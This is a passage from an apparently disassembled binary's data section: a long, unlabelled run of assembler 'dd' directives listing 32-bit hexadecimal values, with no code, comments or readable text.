38D86B43h, 3978A063h, 50205E45h dd 707E1445h, 5C09AC41h, 28675373h, 6385D14Eh, 0A6F8C009h dd 5903A392h, 23327E5Bh, 0AFD80498h, 4D668310h, 0FC2CA170h dd 788C64BCh, 67A265Dh, 0A5F30834h, 13081024h, 4C491365h dd 72D183B4h, 7EE67612h, 0AB583830h, 11154E94h, 72C6ACD8h dd 37B7D955h, 28590078h, 8E3A9477h, 0EA2044B8h, 876D0027h dd 619DC57Bh, 0F8AA0232h, 2C44AC67h, 30AC5460h, 653A3F00h dd 7F59FEFBh, 847312C5h, 27A004E0h, 83520110h, 4E2F2428h dd 2907A40h, 47390F8Bh, 0C698804Dh, 0B97D0CFEh, 711D0874h dd 0AB8A0939h, 2554F840h, 54454E55h, 526063E4h, 0DB26E38Fh dd 0CC08C4E7h, 3F680112h, 7022F64Ah, 8940D084h, 0D084494Eh dd 0DBAF7B00h, 0B82FF032h, 824CF50Eh, 19CF00E2h, 0CA41EBCh dd 8A03D646h, 7216DF38h, 0C4884B82h, 0A0090071h, 1B372CD4h dd 64482DB2h, 8C13BCE0h, 0BE4C1F7Fh, 868B1224h, 4C4C144Fh dd 5AF669F4h, 8844CF5Fh, 0CD42FECDh, 18A2F4h, 847A85D2h dd 6F7E9Eh, 19C6EDECh, 30B00629h, 0A84ED333h, 0AA00B57h dd 5CE07A93h, 402483DAh, 0D2276026h, 0EFA4A00Ch, 0B3D08037h dd 3CEA7026h, 0DC320913h, 0BC24418Bh, 0ACF14912h, 0C44EF848h dd 0B80A31h, 8C61B2C0h, 904F131Eh, 373F348Dh, 0A67C1E4h dd 2C2C59D6h, 734B1580h, 26C8113Ch, 4264A840h, 0D0C62498h dd 22C0EBC3h, 3E4CC110h, 0AC191330h, 0B293C890h, 962CBE32h dd 0C8ACCB7Dh, 4E50C20Dh, 25C4A8E0h, 0CDA424BDh, 0B5CB84F8h dd 0A0944805h, 2378F6B0h, 8F9B8AAh, 70252B03h, 4743A0D0h dd 0BE220F1Bh, 0C3C0C9A1h, 5B75FC09h, 20FDED0Ah, 0F592B493h dd 9D115C1Dh, 0EEAF0B3Eh, 0BC14EC81h, 0EA71A728h, 3AD08358h dd 0FE4598F6h, 10994C08h, 0BB02A9Fh, 1A4FAB6Eh, 0D521E822h dd 0A68F040h, 2FE5AC99h, 0BC9C8451h, 68E62499h, 26138068h dd 0FA2CBDD2h, 252E4C00h, 69F019AFh, 468303B4h, 6FBCC4BAh dd 6A2FB096h, 91841D73h, 46AA8010h, 367BC53h, 0BF9D193Fh dd 895C7AE7h, 9B05C1E0h, 0C693D86h, 225FF12h, 0E6454E24h dd 35EA687Ah, 3B34CA39h, 20C3CEB2h, 9EA1797Fh, 390D5130h dd 3802278h, 0F879E1DDh, 0FC80B692h, 7C04A520h, 0CC090F25h dd 108244FCh, 0D00B58C3h, 0F6452EB4h, 29D74238h, 6F010720h dd 12768054h, 23E8C502h, 4483F732h, 4AC87848h, 0F6F4C5AEh dd 0BC25E054h, 15AA048Ah, 0C42C11F0h, 1CA80234h, 30D9E20Ch dd 0C81FC1F1h, 8C115EC1h, 0DA018A72h, 88963A6Fh, 0A0447A3Dh dd 660708F0h, 0CC00E9F9h, 0ED50FEBCh, 738708BCh, 7780D11Ah dd 48CB7974h, 2C2CEC5Bh, 0F689FC8h, 0F040544Ch, 0B97C8ABDh dd 123E8D00h, 62FEEB38h, 18A074B3h, 110B9CD5h, 0A60045F6h dd 742810Fh, 74BA89B7h, 21FC6006h, 90A64DCBh, 0AC173D03h dd 0E0B9AF9Ch, 0FBB8D3Ch, 0D70DA03Ah, 0FE16B3A0h, 46008A5Ah dd 201E4597h, 7C6C7E5h, 0E098EFCCh, 9F5BB033h, 0FD00C9C1h dd 8AD096B4h, 0B854161Eh, 0FA2E37F4h, 0C09E8070h, 7773B4F7h dd 7F0A5807h, 84465727h, 0C8B83E21h, 0CA03D380h, 0FBE51EAh dd 0D7891906h, 10E01290h, 16457Bh, 0E903AE0Ch, 7CE08EACh dd 0D65600D3h, 2C8F089Eh, 30C0225Dh, 34831AD4h, 7E90C0CCh dd 7B85F655h, 255D0601h, 8C011F8h, 31808850h, 8D3D00D3h dd 0D9D3E2Fh, 0B568FDE6h, 44C0AC49h, 46810EA6h, 1FF3224Ah dd 80A64CC8h, 416D33C3h, 43F82621h, 0E9F88930h, 3F58875h dd 1D18D4FBh, 6800E709h, 0B6107B81h, 7CFAF820h, 62F107B3h dd 0D64F161Dh, 530EF9B7h, 42CC3DB1h, 63669AC2h, 4B08310Fh dd 0F8B97421h, 853B057Fh, 7007461h, 8B135E21h, 0C1494023h dd 8A426260h, 95485187h, 8DC000E3h, 3B481Ch, 9D97F50Ch dd 4529CA9h, 90CB0094h, 7F969E39h, 7BD90CB9h, 0D2584830h dd 484CB4A1h, 3D39B058h, 11BA23CDh, 0B8751F4Eh, 0E1E3B97h dd 16FAF42h, 55C48110h, 0E1003F54h, 0EE7B79A8h, 393E1803h dd 6588FEh, 36831911h, 0F541383Ch, 0D4118C93h, 91F1B606h dd 9C337148h, 880C1907h, 588303h, 0CD4AAF90h, 8163925Ch dd 14B51A2Ah, 1E00E0F8h, 53BEA53Fh, 794893DFh, 707B0085h dd 41B10A0Ch, 836E9DC4h, 68738231h, 9B888145h, 9455C139h dd 0F523D03Ah, 0D4630300h, 6ADE88h, 8BFB9E98h, 0A135327h dd 0E961F214h, 7E070930h, 0C2D8221Fh, 1B74415Dh, 0A258A040h dd 3CB7725Fh, 929BC962h, 60BC917Ch, 7713A641h, 0F2448C81h dd 0B04963CFh, 0CBD0974Fh, 2003F37Eh, 0C47303F9h, 0E7F0035Dh dd 187B07F4h, 35018979h, 1D0BFA48h, 0CFD706h, 8596C19h dd 802021CBh, 0BE6D6612h, 88A2502Ch, 0FC06A1F1h, 528873DBh dd 399F0C20h, 83F89768h, 39AC0B31h, 0F455627Bh, 0C14B9C08h dd 0C9C03DB5h, 884A18A2h, 9BFCBD78h, 0B5E46900h, 7017F211h dd 342C4998h, 8C7D3C05h, 4EA80013h, 0FE38F212h, 70B24C91h dd 3DB43048h, 9A46C172h, 793F5022h, 0B0191CBCh, 1CB44440h dd 0E640256Dh, 20081317h, 0FC500F5Bh, 66D6B9A2h, 0C029CA0h dd 9C70444Bh, 0E3FAEA0Dh, 0FB0878h, 4B042321h, 0AC92B574h dd 1DE62112h, 10FB8822h, 8524A075h, 0F100ECF6h, 775036F7h dd 0E7970DA9h, 3018EAE9h, 498AB704h, 1613EE58h, 2ED4014h dd 10773C08h, 4213E541h, 0F774208Eh, 0F240F9B7h, 0B45D34B2h dd 60CC251h, 0EAF7CD30h, 22CF4677h, 0D5BD0087h, 5D2830F7h dd 0A31507ABh, 7CA4BF7Bh, 0E82AAA00h, 0FACBCDCFh, 9059040Dh dd 90DDC961h, 0A423818Ch, 104248h, 7BB7B0C8h, 0A08D43A3h dd 21AFFD54h, 584AF395h, 24ECE61h, 0A2980D0h, 6C676B45h dd 60E80CD4h, 94FCE358h dd 55F3714h, 810A88B8h, 0FBD624ACh, 198824A0h, 1CBBDC0Ah dd 7F001096h, 55372742h, 5D5C0966h, 0DC201D3Ch, 0B20693E4h dd 48C40490h, 9B071A69h, 83F964C1h, 4912AEE4h, 94018E56h dd 5CA42817h, 4CF27064h, 0B5189843h, 5556E0EDh, 60652430h dd 90B36B7Dh, 0B93420D8h, 80947A4Ch, 0CAC1C917h, 0D6E7007Ch dd 0F3921D55h, 8C00D75Dh, 3D5CD4F1h, 18658A73h, 5016F47Dh dd 39146241h, 15BCADE7h, 7B08C21h, 6B2CCC52h, 0F6C49200h dd 0E81A0090h, 8908F326h, 0E6281CECh, 0DBF51CF1h, 0A0A01AC2h dd 0E3573034h, 7302327Bh, 451DD398h, 448CC763h, 6EA604Fh dd 0F8B50036h, 0C5986D29h, 0A0A8F99Ch, 0EE0EA5A9h, 0C0518F9Bh dd 0D4FC86B5h, 21893B91h, 3E440E26h, 0E1B7B201h, 87FA9D53h dd 421CF539h, 0C6C9C811h, 9EA2C8h, 1682AC7Ch, 0D589C5D4h dd 0C8909F98h, 0B0A37501h, 1495E2FEh, 986353D1h, 84314DA2h dd 3127EC0h, 724F9013h, 0B0E95DA3h, 0A07D0017h, 79DCB28Dh dd 0E5F704B3h, 81912DF1h, 606A1618h, 8EC3BB7Dh, 58F63EECh dd 407740C8h, 0D1149F41h, 4C8C01Dh, 0CCECA17h, 6278D0C1h dd 4EFF2710h, 0C420D653h, 8165C52Ah, 321E5444h, 3048F2CCh dd 0E490E79Fh, 1249C820h, 202EF49Dh, 0B822EFE0h, 9B935103h dd 7F641C9h, 4A7FB0E8h, 1018271Fh, 11FED71Bh, 463B9494h dd 48A6431Fh, 0F1CF5281h, 0A64BCD00h, 4AAC03C8h, 77576D00h dd 9DDD9EBDh, 0F8A1269Fh, 0AC584384h, 63552D90h, 87BFF204h dd 14C14122h, 0B9845EBCh, 41F521ADh, 0C144AA5Ah, 7999CFC0h dd 39563904h, 69979206h, 190E5805h, 0B4AA3789h, 5CD816B0h dd 30BC0C22h, 41114B11h, 0A88289Ch, 4B40D89Dh, 0B65E4089h dd 0E3729Dh, 599F289Bh, 4264E1AEh, 511D894h, 0B0F7CC80h dd 448CD777h, 0D41FBC8Bh, 9E8215F7h, 898FE5C1h, 0E4E496BCh dd 0FC478263h, 79608644h, 3D2CD945h, 0B1083CF5h, 7D3E02E4h dd 7842062Ch, 63D60C41h, 0EAC10D4h, 6DA87706h, 9C2A30E0h dd 30CE8F6h, 0A061200Bh, 34BB497Ah, 46800070h, 4CD7FCF1h dd 0F531C99Eh, 73B7D082h, 0AC0B0473h, 7090D7C6h, 0C301FBE6h dd 0B605C5F2h, 0BC707F74h, 5F07400Fh, 0ACB3C23Ch, 4647CB8h dd 0B1F7CB60h, 11DF7723h, 0D3BF0085h, 918286F7h, 7D1C0BEDh dd 10B0B689h, 101FEA11h, 0A1B09874h, 1F27AC09h, 2B74D14h dd 0F78DFB68h, 0E8D0A450h, 8C83F8C4h, 8C00D47Fh, 21FA8880h dd 125FACF1h, 8C0C3712h, 42824B7Ch, 404CEA38h, 5C27E69Ch dd 4988CC09h, 0DA1CB3CEh, 629293h, 0BF7A2347h, 0F8821DF2h dd 5B103F6Ch, 69C80E3h, 422781C0h, 74A891h, 767D6D7Ch dd 355F6BAAh, 9379F01h, 0BA9CF1C6h, 8342598Ah, 9B646188h dd 4B118002h, 6D10C0F1h, 0B29F0FD9h, 1A80E882h, 0AEE06450h dd 4A47EE3Ch, 5229BC30h, 0BC7D2AB3h, 5E7C96F4h, 0E9008546h dd 1DDC92B9h, 751864E7h, 9D218F2Eh, 0FC690042h, 14376173h dd 31052A24h, 0AA4513DFh, 558FDE02h, 0D744108h, 88DC0070h dd 0E14AF19Bh, 5861F816h, 8453BE7Bh, 460DA0AAh, 7C1A039Bh dd 5732EAF3h, 0FE07B5E0h, 124B6E5Ch, 204F08C0h, 98F30B11h dd 0B012436Ch, 7180E56Ch, 0D7F69BE3h, 213066BDh, 9795C18Dh dd 5FF44E01h, 7518A230h, 319CD88h, 0ACE75183h, 0D41D29E6h dd 358FFF11h, 43BC99C0h, 0C9F8345Fh, 5D51D561h, 0C82C9C7Dh dd 74730381h, 0A3884465h, 0D58019A4h, 8110D138h, 4A561803h dd 2A84614h, 0BC55B7C9h, 4494801Ah, 831CD57Ch, 8DC7613h dd 0DBC66491h, 1770C317h, 4D881913h, 971D544Bh, 80479108h dd 4C553F43h, 0D650C430h, 6950D011h, 17BE588h, 0FC49663Dh dd 5DCCF4FDh, 7BD9C206h, 4C0515Ch, 178D3FC1h, 74CC1019h dd 129C91C5h, 0D580B495h, 550E6F5h, 0CFE9905Ch, 0C8D42295h dd 11A64030h, 886A8112h, 48CC87F1h, 0BF7950A6h, 0D05C7F97h dd 83AC00ACh, 373990C8h, 442CA7C6h, 0D5D067F3h, 0B86584h dd 14ABA86Dh, 1553721Dh, 0FDCF1705h, 9C98C6B4h, 474B080Bh dd 71CF789Ch, 4B032200h, 33E8A5E6h, 4344BD0Bh, 1678A288h dd 17CC15Eh, 0FC42A912h, 34ECD860h, 0C496DE09h, 600C82BEh dd 98AC8931h, 0CB9BA1Ch, 1A41E712h, 7E14F430h, 0A480ED83h dd 0F3B2D0B2h, 7AF1730h, 0EEF98B9h, 45348326h, 78462A8h dd 0CC33784Eh, 51958237h, 83770064h, 4D66E09Eh, 3650D600h dd 0F358842Bh, 1AAE033Ah, 4482CD0Ah, 9CC2981Ch, 55350022h dd 6CAF5CA7h, 1A012D26h, 193FF895h, 8058C444h, 1D6D7C75h dd 92907256h, 363002F5h, 2058C455h, 0BDF7FE12h, 83F1349Ch dd 4C593876h, 399B05D8h, 0BC03F391h, 0BA680385h, 87D04022h dd 0E64625B3h, 20A7831h, 23209C26h, 0EC208E47h, 98AC4920h dd 81C47D6Ch, 0F211F09Dh, 43E19C9h, 0E60BB28h, 9C23424Bh dd 25C43D10h, 834B0600h, 0E77159CDh, 75BF01C8h, 799E356h dd 0A750234Eh, 0C102C5E8h, 87F04D58h, 0E99CC699h, 3108B96h dd 0D1904A1Dh, 210E8579h, 80B79BFDh, 0CB3DD2BDh, 0ADE3804Eh dd 0B30C7F43h, 696919D7h, 81A7403Dh, 7FAC9607h, 0E7CD3775h dd 7B81B082h, 0CC7A623Ch, 8C602482h, 1890046Eh, 8064D349h dd 810DA647h, 0C00642B2h, 4CA64FC9h, 0AAB0006Eh, 87BDFB82h dd 0FF24853Fh, 5404140Ah, 0B8F21EC3h, 38304DE2h, 0EEAB0577h dd 0C180585Dh, 3CF0C524h, 38B67A78h, 0D6AC4E80h, 0C1FDA663h dd 0C5907568h, 75703DFBh, 14802489h, 0B4FCF7BCh, 63547907h dd 0CEF1FA98h, 4E4678E4h, 0E4BABE28h, 4454A4CAh, 0C67E7349h dd 0D8361505h, 9505E458h, 0E0CCD64Fh, 0D9FB0B40h, 1C0203D1h dd 5C01E7B5h, 3462C475h, 0EB41327Ch, 2C621318h, 0D55DC487h dd 27BC8036h, 870214F0h, 0F1C961F3h, 70C4094h, 7CF8A471h dd 9281749Dh, 947B1490h, 0D458F04Eh, 3CCB8D0Ch, 0AD005868h dd 9E5C4626h, 2C77FE74h, 821C89A0h, 7A78DFAh, 7E803C51h dd 2B818F4Ch, 42BA4AECh, 7C883514h, 84576711h, 20E2D7D0h dd 4211C13Fh, 83642D8Bh, 3A124848h, 215918F8h, 0F20161F0h dd 59CF7200h, 26086EEh, 1670F023h, 209DC1A3h, 0B80B8140h dd 2F805F62h, 7D30A4C9h, 86A1F142h, 0A74C7441h, 3C3C1888h dd 1C742A75h, 43530AB4h, 970FD85h, 0F4C6EC48h, 0D8A6E302h dd 0C05DA8A1h, 3143D640h, 0D731F38Fh, 0B07D1Bh, 87419C8Eh dd 4C7B37ECh, 2D1D78CCh, 7C90E65Fh, 0F0BF5923h, 0C785BF59h dd 6F0BE0F9h, 0D2128BE4h, 0E8028C8Dh, 7247642Bh, 209CB0D0h dd 0E5025834h, 0E78E17ACh, 9BB8A423h, 0BDBCF4h, 0DA97F539h dd 0F0BF8F15h, 41EFF01h, 73693365h, 733C8E20h, 909860D0h dd 395A41B1h, 0C190BD34h, 1C73EC20h, 177B805Ch, 0B4800944h dd 93D69644h, 0FFB82BE8h, 99F49A3Ah, 98DEE105h, 6C825FB6h dd 6DE32002h, 0AF00EFF6h, 0E6498951h, 0CB61ECDh, 407873D9h dd 9D28CB68h, 7B7040CEh, 9784650h, 6DE7F111h, 0E9C11h dd 0EE2811BAh, 139F07F9h, 4FB221CFh, 530AF11Ch, 40FA4490h dd 0C102D6B8h, 0B74E0026h, 0CE526EEAh, 6DF88F8Eh, 0C31250F4h dd 58006B56h, 41040A5Dh, 21FC019Dh, 17B3745Eh, 1862D4h dd 9A82E8CFh, 790CEF06h, 40230052h, 5A2D4784h, 93050D77h dd 0AE9E5888h, 989B7085h, 7CC717C0h, 730779D8h, 0B12F4835h dd 0AF97AB40h, 0FCED5995h, 0E48F40ACh, 0E3012F40h, 9F94559Ah dd 0A828DB3Dh, 7C7E84A8h dd 5B9DCCA8h, 97BEE400h, 29EA79D7h, 0A4070192h, 326D8FFFh dd 0AAE9FB60h, 0C30A6B6h, 80A0BF15h, 9C5E4B12h, 0C510B930h dd 0ACB001D9h, 0F41E0A11h, 0EB2CE26Fh, 0E708ACFBh, 348007AFh dd 92EF859Ch, 70442EB4h, 10E4AA00h, 911AE0E1h, 0F7B40061h dd 0DE5E0852h, 0B105FC5Bh, 6C7D3FC2h, 0E7FD1490h, 14D940C5h dd 0C1D7B00Ch, 163B88B4h, 20F105F0h, 25622A00h, 0E268F852h dd 47C6300Bh, 64DB3F04h, 14C17327h, 7A01BC60h, 22AC5042h dd 3700D79Eh, 0BF3BB41Ch, 2CD024Fh, 7473987Ah, 185011A8h dd 7B1B3490h, 890663Ah, 35855D0h, 156B7501h, 9841AAA0h dd 0C0819A05h, 5BA8E1C6h, 4CD47DDBh, 8AD1090h, 0F61E3600h dd 0FFA83711h, 72016C9Ch, 0FB4BAA4Eh, 0C21238F0h, 0D8784C19h dd 1CC884C8h, 0BB26B803h, 0E22817D0h, 3480E451h, 0A078A7A1h dd 0AE10B838h, 540C12FEh, 53801EC7h, 459A4B0h, 98380BC8h dd 7A44A079h, 25BF05AEh, 3043224Ch, 8DC0F905h, 3C892C57h dd 73725741h, 40BBB460h, 15EEB10Ch, 5891EC16h, 3D84F804h dd 601D98F4h, 46B248D1h, 0CA548070h, 0A0180688h, 7850C896h dd 162929A3h, 0AE740048h, 333BC706h, 87E34D80h, 162DD032h dd 1AAE7F01h, 0E196D87Ah, 3F08204Fh, 73830575h, 0A1BBB8CEh dd 5450D380h, 98461FEh, 678D0383h, 0B7590002h, 4FB3F468h dd 0B51EBA12h, 168C2850h, 7C9C08F3h, 3E09CA1Dh, 104D9338h dd 8935E474h, 5B8C8159h, 18B021AAh, 1B7A27FCh, 0C6B8E610h dd 0F0509010h, 0D5FCA0B4h, 0F78528B0h, 77603166h, 75505802h dd 7CCE8029h, 917CE98Ch, 0B6083417h, 100C61A9h, 0FC909B56h dd 68E0C2D0h, 34C035A8h, 0E2A097E1h, 0DC2507CCh, 606FF93Bh dd 0ABBD0F5Dh, 156901B6h, 0CB2E441Bh, 0BCD878CFh, 0D81F8C4Eh dd 7540BC09h, 0C31371A5h, 0E980E19Dh, 47E7C2ADh, 0C4028B39h dd 12282E3Ch, 24DA3Bh, 91D63489h, 1AC45059h, 8C7C5738h dd 0B9F28743h, 3034F7D7h, 1BA602F0h, 0F8DDBCE1h, 0AFFC7440h dd 85B69CA0h, 3C01274Eh, 51C0664Eh, 30AA0834h, 624128E1h dd 2325830Ah, 0C1F08718h, 4C9B8153h, 0F1111869h, 11504C21h dd 42095D68h, 0A079A78Ah, 98E22039h, 65CC206Ch, 3020FF4Ch dd 6057D9ECh, 9B90712h, 0FC558077h, 2AEA3330h, 0FE4420E3h dd 8F0430C8h, 68CE21ACh, 4C406D69h, 6900787Eh, 8E36D280h dd 71F9C989h, 9B910F8Bh, 0A85911E9h, 0BDDC64DBh, 4B10048Ch dd 62209C40h, 827200Fh, 475844Bh, 1CCACB00h, 3AD561C4h dd 0A1070273h, 71AABE19h, 6200207Ah, 6EFB4A36h, 0F781F35h dd 7DDD04A6h, 7A07B301h, 0FC299726h, 0C23202Fh, 9E4D8300h dd 4C2487A9h, 8825F85Bh, 96A8D80Eh, 0B1DC91AFh, 36004E8h dd 36518F65h, 19C87D5Dh, 0EA0EE2A0h, 96D7CB84h, 8CFC6C4Ah dd 70A465Eh, 0B6CA1B2Fh, 3CF21260h, 58DF0372h, 0D8E43902h dd 17B29110h, 2689370Bh, 35FAE8A0h, 72354BF3h, 0A40830CFh dd 891081B4h, 201B7DD3h, 372C9DE4h, 0B8A6345Eh, 151CE908h dd 0B5000C9Bh, 1F7A2ADh, 665B8003h, 3983E460h, 2A040202h dd 8E85A1B7h, 94495C58h, 57420E88h, 5D3DA2E2h, 6305C5Ch dd 4169625Ah, 0F23EB37Ah, 4CFC2497h, 84631712h, 27D391E2h dd 0AA02A029h, 0DB483FB8h, 6A7FA840h, 58534100h, 248C3957h dd 0DAE90023h, 2E9EE3FEh, 0B303375Eh, 1C6E7C25h, 29C8B1BEh dd 5D9839C0h, 8C4240F1h, 0FB87170Ah, 0F8E5053Ch, 3930C00Ah dd 7090AF99h, 0C9EE8901h, 0C44ABE78h, 8C4D5030h, 0CE3DB31Ch dd 90B2B293h, 0E1BB76C7h, 0D02B7452h, 39043F7Bh, 8543A372h dd 12F5C4C8h, 9AEB599Fh, 0B7909E54h, 21F9A184h, 900B92CFh dd 8E60E120h, 7813AC18h, 0C4029B0Bh, 5409685Dh, 0E4E98878h dd 8A563E0Eh, 78A9AC2Dh, 0DE613302h, 0FCC888ABh, 0CDF804A1h dd 19C60066h, 23FC6AA6h, 0DB019EA4h, 0F551AC22h, 0C40A921h dd 120D2FEh, 19F65FADh, 0D3F59EE2h, 27035AE0h, 7C5BAE3Ah dd 0FF52A700h, 0F1579F23h, 5DF6031Bh, 6DAD18F2h, 9EA7280Ch dd 0E82361FBh, 0C45B3C98h, 0C5909B0Fh, 280A52Eh, 0F15FAE07h dd 67F61F01h, 0F4E429F2h, 1F05BDDCh, 2853029Eh, 0F2961B04h dd 54D06026h, 0D5704ACBh, 2BDE30Dh, 1CF0D022h, 2A80CEA1h dd 0A0C75086h, 0A13118DDh, 8509124h, 7CA61DFFh, 98150A5Ch dd 36383C5Ah, 91E8880h, 1D806CADh, 530350A7h, 79E1CD5h dd 25F30026h, 0FE5DAD1Bh, 38C47D30h, 9BF670h, 0BD05BEC6h dd 55AB19FAh, 0BA09D200h, 0ED532F9Eh, 401D005Ah, 17F26CC6h dd 0E1CEB0C1h, 0AA5886A3h, 98030E78h, 0BD84C651h, 17324Ah dd 6AA12B27h, 0F602DC10h, 1DEABBA0h, 0D7B19A0Fh, 0BAC19108h dd 0F322FC4Eh, 90B32CE4h, 63C02C94h, 78936798h, 48084C24h dd 4031331h, 818CE178h, 741CD270h, 60B833E8h, 19076Bh dd 7057E9B0h, 40C662B9h, 0A024A15Fh, 4248ECD6h, 5DB30795h dd 40FB4B8Bh, 80FB8188h, 9F768DC0h, 0A0CA15Ch, 2CE73990h dd 604CC02Ch, 613E45D8h, 5904CBF4h, 8A45C961h, 40048CB4h dd 0C114D21Ch, 5C2CA58Dh, 0B8FE3000h, 967FC719h, 97CA044h dd 16307DB2h, 0A155D048h, 265188A6h, 0A4593F2Ch, 0D183F1B8h dd 0FAE9624Eh, 50945940h, 0CE204721h, 356BE250h, 0B4E1DB90h dd 0A9881A31h, 910A0F71h, 334C840Ch, 0D085D704h, 0A9F1E574h dd 2822F75Bh, 0CC332BC9h, 82F908C4h, 0B4680B83h, 0F60FE476h dd 2118381Eh, 2F7C9A8Eh, 14218873h, 80AAB83Eh, 573DD628h dd 900B816Fh, 8868B448h, 964958Dh, 78753E43h, 7D38809Eh dd 0B4055EA6h, 0AC5EE339h, 240315h, 6675C6F7h, 0AB918D3Ch dd 4D80C398h, 4B384C30h, 0AB79E97h, 8AB02E90h, 40D19Dh dd 3FCB3D8Bh, 491770Bh, 101044A3h, 0DCA9DB88h, 58B48D45h dd 15A01A7Dh, 0F4C98001h, 61BC50FBh, 41D4CBE9h, 912A3604h dd 21DB4318h, 0C8D39022h, 54E36432h, 938231Ch, 4818FC43h dd 7C419F15h, 21D5C41h, 9B4A3600h, 4074FC33h, 0E330E4DAh dd 3C919D03h, 6C209C28h, 0B5FC25B6h, 0F59D9898h, 8B2620FBh dd 0E33E8307h, 0E5850A9Ah, 2C4234C8h, 39E4315Fh, 6B248AA2h dd 0D81F341Ch, 4DF61C62h, 0F49E82C6h, 0C4CAF15Eh, 52DC802h dd 0E875B448h, 0AC04049h, 0B4BE0F56h, 82E49908h, 7D2899Ah dd 0DB23209Eh, 4BD0284Dh, 0CA40CC03h, 7710F77Ch, 8AC85727h dd 0F7D28CBEh, 0BABF098h, 3A12C983h, 0EFF08C72h, 5DEEF90Dh dd 0D842C87Ah, 81E8F9D2h, 810CA646h, 88F018BAh, 0A6004ED6h dd 1B3E3601h, 737AED1Fh, 0B5E809F9h, 0D0C9C211h, 850A3A54h dd 0A90980F0h, 3C3419E1h, 807B02D2h, 945610CAh, 724A465Eh dd 4D266F00h, 6A2C35F9h, 37C00BC3h, 24C8998Eh, 29010705h dd 0E9AC0E54h, 0E420B85Ah, 79C46EE7h, 14CD8367h, 79B34BF3h dd 18F07910h, 0F7C0E7ADh, 0A48E1C88h, 2517C2E3h, 0F8E0698Ah dd 0B8B4220Fh, 0D4676h, 4C70B86Dh, 466E4A5h, 509C4F41h dd 0A0C82EAh, 13F7C130h, 0B2EF77B7h, 0C9B9C0C0h, 0FCBA7EF7h dd 75050329h, 0A817184Ah, 0C9FE2100h, 0DBCE541Ah, 0BE98990Dh dd 27F75h, 3E328105h, 26D9E0A8h, 9E010302h, 713877AAh dd 0E42112C0h, 580030A8h, 69F15010h, 0E775B4A7h, 49BC403Ch dd 4057008Ch, 0A95375D0h, 7D03FC45h, 562107B4h, 925AA904h dd 0D99E1C7Ch, 0FD5081F7h, 0D167ED7Fh, 0A7783018h, 0DC8BB85Bh dd 39C0FFC8h, 6B9960Ah dd 0E68E56BFh, 82A07124h, 0EA0F125Ch, 69A07038h, 0EB7405A6h dd 2F2A64A5h, 0FC2398h, 0F8BF077Fh, 0FA3E3C35h, 462F01DEh dd 8EEA109Eh, 7C03038h, 14B42328h, 66F89CF4h, 4D7D8B88h dd 6400E8ABh, 0A63EDB12h, 0F95B8F43h, 0D298C492h, 90A84CB0h dd 60889B26h, 15C4CD57h, 0AF24AC39h, 60208A2Fh, 7D067EDCh dd 0D1E00939h, 4CA98043h, 474C4C82h, 65012822h, 62871094h dd 0D642AB78h, 0BA02620h, 0B4A11A57h, 341080h, 26423BB2h dd 0E4D837CBh, 0F120104Bh, 1E1830B1h, 0BDD035BDh, 8BF33682h dd 0A867AF05h, 0CE60F244h, 190E94E7h, 29507B7Dh, 52700010h dd 9F55563Fh, 8B113497h, 6FEB6080h, 0D227483Fh, 850C1F0Bh dd 0BDFC039Ch, 58CF0430h, 88B9D6EAh, 25350B78h, 0E002F35Ch dd 0AC60A55Fh, 0B30179D7h, 15C3FE17h, 489EF748h, 28C8221Ch dd 0FC6910BCh, 650A663h, 0D44B15C2h, 9E0B216Bh, 806F71E9h dd 63D88934h, 7C18CBA3h, 9B4B2C7Ah, 38891890h, 18436163h dd 8675E82Dh, 7C780739h, 53120051h, 8B048E3Eh, 0C45C5F47h dd 9F5800E0h, 1CFDEAFCh, 4564B0F3h, 5354430Ch, 752EA1E6h dd 9F4EEC98h, 434DF4C1h, 2092E88Dh, 0C340E17h, 0F606FB80h dd 19C9CE21h, 0EA84074Fh, 0B5C961A1h, 0C607903Ch, 0C47F63F1h dd 567080E0h, 3F00D583h, 191E9AB2h, 656F4681h, 8065081Ah dd 585B7274h, 0A2F40B02h, 0B9F78A43h, 0B89FF94Ch, 9A0A05CAh dd 0AEE048A4h, 4804D68Ch, 2B34065Eh, 0F08E1CFAh, 0B6AD11EDh dd 8D128032h, 7840807Bh, 330CBD0Bh, 48AAE78Eh, 8DFB0B62h dd 0DCC63BA3h, 3A587548h, 0B48B090Eh, 7ECC2106h, 219E12FFh dd 0C8DB3D0Bh, 392F59D8h, 8780FD5h, 45BE0EFFh, 3DEAB883h dd 7109D7E3h, 0C1A09614h, 7181AF50h, 0D0EB8425h, 59B5DC68h dd 0C87BFC27h, 80DFB8h, 0D8F66536h, 60FF543Dh, 9CA3F274h dd 1CB440B4h, 547B07FCh, 641E9078h, 54401085h, 75B80010h dd 64830B57h, 56661D1Bh, 0BC2D62D4h, 3858C134h, 0B7127422h dd 4D9C4244h, 0D0600AD4h, 21228E36h, 12788Fh, 0E4CA398Bh dd 0D94552F7h, 56B06B60h, 48F5C187h, 0D6222C5Bh, 12A6720Bh dd 146800B1h, 0BAA1C53h, 642E9C6Eh, 0ADE4B064h, 4B5EA50Eh dd 3DE67CCh, 0C4371242h, 1CC04958h, 59D98D1Ah, 0C10C882Fh dd 0A6025C11h, 0BBC6821Ah, 80E8ECB8h, 906ED4D4h, 0B02882A8h dd 60399260h, 7B8521C8h, 8CB8232Dh, 0CF19F28h, 0AAA6813Eh dd 0C009D057h, 580D0F8Dh, 6B233B08h, 7A81893Ah, 6E987473h dd 18E031A6h, 81146F14h, 1030217Bh, 169FBF39h, 0D514A1C0h dd 569803Bh, 3FC3CA83h, 9DF60398h, 0B526022Eh, 7C17CDF0h dd 0B32C20B7h, 318AE0Ch, 2DB94E84h, 74FA07AAh, 0E4C0444h dd 0F0284268h, 87960C63h, 0BB41C947h, 2C404DADh, 97D7027Eh dd 70BE08A0h, 0E65EF1E5h, 7EB72440h, 96515ABh, 0BCA63C3Eh dd 0CDB1C19h, 40B1040Fh, 0E10EF6CDh, 496DDDE0h, 0F4F4F798h dd 0CA81848h, 4384BBC0h, 49E810F0h, 40C07A26h, 3BA52F2Ch dd 0B9BDEF07h, 0C0819566h, 2181447Ch, 1BE625D5h, 72457007h dd 9BE9ED00h, 7D9C0A79h, 210F25A9h, 0C41A1848h, 2AD24703h dd 0D8803D70h, 0EC89C707h, 50276BB2h, 0C100A464h, 0C8036064h dd 12A65E63h, 1D925FFAh, 62EA0268h, 0A098F068h, 0E600EB21h dd 0A3A7E8E2h, 79E3Ah, 5BE0DE6Fh, 50EF1D6Eh, 0A244530Eh dd 0CCC6E041h, 7CD94935h, 74DB1BB9h, 52A810A4h, 0D75A9086h dd 0C89BDC93h, 1214C4h, 0BC93A9E9h, 734C71A0h, 0D789DC07h dd 